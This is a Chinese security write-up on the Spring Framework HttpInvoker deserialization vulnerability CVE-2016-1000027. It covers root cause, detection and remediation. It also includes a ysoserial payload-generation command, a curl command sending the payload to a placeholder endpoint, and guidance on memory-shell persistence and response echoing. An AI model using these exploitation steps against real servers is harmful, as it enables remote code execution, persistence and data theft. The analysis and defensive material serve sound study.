ARTICLE / 安全

CVE-2016-1000027: Spring Framework HttpInvoker 反序列化漏洞分析

0x00 漏洞背景与详情

  • 漏洞名称:Spring Framework HttpInvoker 远程代码执行漏洞
  • CVE 编号:CVE-2016-1000027
  • 影响组件:Spring Framework (spring-web)
  • 影响版本:
    • Spring Framework < 4.3.6
    • Spring Framework 5.0.0.M1 - 5.0.0.M5
  • 漏洞类型:Java 反序列化漏洞
  • 危险等级:高危 (CVSS 9.8)

CVE-2016-1000027 是 Spring Framework 中一个经典的反序列化漏洞。该漏洞存在于 Spring 的 HTTP 远程调用(HTTP Invoker)机制中,攻击者可以通过向受影响的端点发送特制的序列化对象,在目标服务器上实现任意代码执行。

0x01 漏洞原理分析

Spring HttpInvoker 是一种基于 HTTP 协议的远程调用机制,它使用 Java 原生序列化来传输 RemoteInvocation 和 RemoteInvocationResult 对象。

漏洞的核心在于 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter 类。当该类被配置为导出某个服务时,它会处理 HTTP POST 请求。在处理过程中,它会调用 readRemoteInvocation 方法从请求的输入流中读取数据:

// org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) 
        throws IOException, ClassNotFoundException {
    ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
    try {
        return (RemoteInvocation) ois.readObject();
    } finally {
        ois.close();
    }
}

由于该方法直接使用了 Java 原生的 ObjectInputStream.readObject(),且在反序列化之前没有对类进行任何白名单过滤或安全校验,攻击者可以构造包含恶意 Gadget Chain(如 Apache Commons Collections, Spring Beans 等)的序列化对象。

当 readObject() 被执行时,如果目标应用的 Classpath 中存在易受攻击的库,恶意代码就会被触发,导致远程代码执行。

0x02 漏洞 POC 与高级利用姿势

POC 构造思路

利用 ysoserial 工具生成一个针对 CommonsCollections1 利用链的 Payload,并将其作为二进制数据发送给 HttpInvoker 接口。

  1. 生成 Payload:

    java -jar ysoserial.jar CommonsCollections1 "touch /tmp/cve_2016_1000027_pwned" > payload.bin
  2. 发送请求: 假设受影响的接口地址为 http://target.com/remoting/OrderService。

    curl -X POST --data-binary @payload.bin http://target.com/remoting/OrderService

进阶利用姿势

1. 内存马(Memshell)注入

由于反序列化漏洞可以执行任意 Java 代码,在文件监控严格的环境中,注入内存马是实现持久化控制的最佳选择。在 Spring 环境下,常见的注入姿势包括:

  • Controller 型:通过反射向 RequestMappingHandlerMapping 动态注册一个新的 Controller 接口。
  • Interceptor 型:向 Spring 的拦截器链(Interceptor)中插入恶意逻辑。
  • 利用思路:通过 RequestContextHolder.getRequestAttributes() 获取当前请求的 HttpServletRequest,进而获取 WebApplicationContext,动态加载并注册恶意类。

2. 回显技术(Echo Technique)

在不出网环境或需要获取命令执行结果时,常用的 Spring 回显方案包括:

  • RequestContextHolder 方案:获取当前的 HttpServletResponse 对象,将执行结果直接写入 Response Body。
    HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
    response.getWriter().println(result);
  • 异常回显(Exception-based Echo):将命令执行结果作为异常信息抛出,结果会显示在 500 错误页面中。

真实利用案例

在某大型企业内部,OA 系统使用了 Spring HttpInvoker 进行各模块间的业务调用。由于接口缺乏鉴权且直接暴露在内网中,渗透测试人员在获取某台内网机器权限后,通过目录扫描发现了该 RPC 接口。利用 ysoserial 结合内网环境中的旧版本 commons-collections 库,并在无法出网的情况下采用了 异常回显技术,成功在 OA 服务器上执行了命令并获取了核心业务数据库配置。

0x03 应急排查与日志痕迹分析建议

1. 漏洞环境排查

  • 依赖检查:检查项目的 pom.xml 或 build.gradle,查看 spring-web 的版本是否在受影响范围内。
  • 代码审计:全局搜索项目中是否配置了 HttpInvokerServiceExporter。
    • XML 配置:<bean class="org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter">
    • Java 配置:new HttpInvokerServiceExporter()
  • 指纹识别:使用工具扫描 Web 路径,寻找可能存在的 RPC 端点(常见路径如 /remoting/*,*.remote 等)。

2. 日志痕迹分析

  • Web 访问日志:
    • 特征路径:关注所有指向 HttpInvoker 映射路径的 HTTP POST 请求。
    • 异常响应:反序列化攻击如果由于环境不支持失败(例如类转换异常),日志中通常会记录大量的 500 Internal Server Error。
  • 流量特征分析:
    • 魔数识别:Java 序列化流量的头部包含固定的魔数 AC ED 00 05(十六进制)。可以在 IDS/IPS 或 WAF 日志中检索请求体起始位置包含此特征的记录。
  • 应用堆栈日志:
    • 在 catalina.out 或业务日志中,寻找 java.io.ObjectInputStream 相关的异常堆栈。
    • 重点关注类似 java.lang.ClassCastException: org.apache.commons.collections.map.LazyMap cannot be cast to org.springframework.remoting.support.RemoteInvocation 的报错,这通常是反序列化攻击尝试的直接证据。

0x04 修复与缓解建议

  1. 升级组件:升级 Spring Framework 到 4.3.6+ 或 5.x 稳定版(需要注意的是,Spring 官方在较新版本中已完全废弃了该功能)。
  2. 禁用不必要的功能:如果业务不需要基于 HTTP 的 Java 序列化远程调用,应直接移除 HttpInvokerServiceExporter 的相关配置。
  3. 安全反序列化:如果必须使用,应自定义 HttpInvokerServiceExporter,重写 createObjectInputStream 方法,使用带有白名单严格校验的 ObjectInputStream。
  4. 网络隔离:此类 RPC 接口严禁直接暴露在互联网上,应通过防火墙或安全组仅允许内网受信 IP 访问。

0x05 参考资料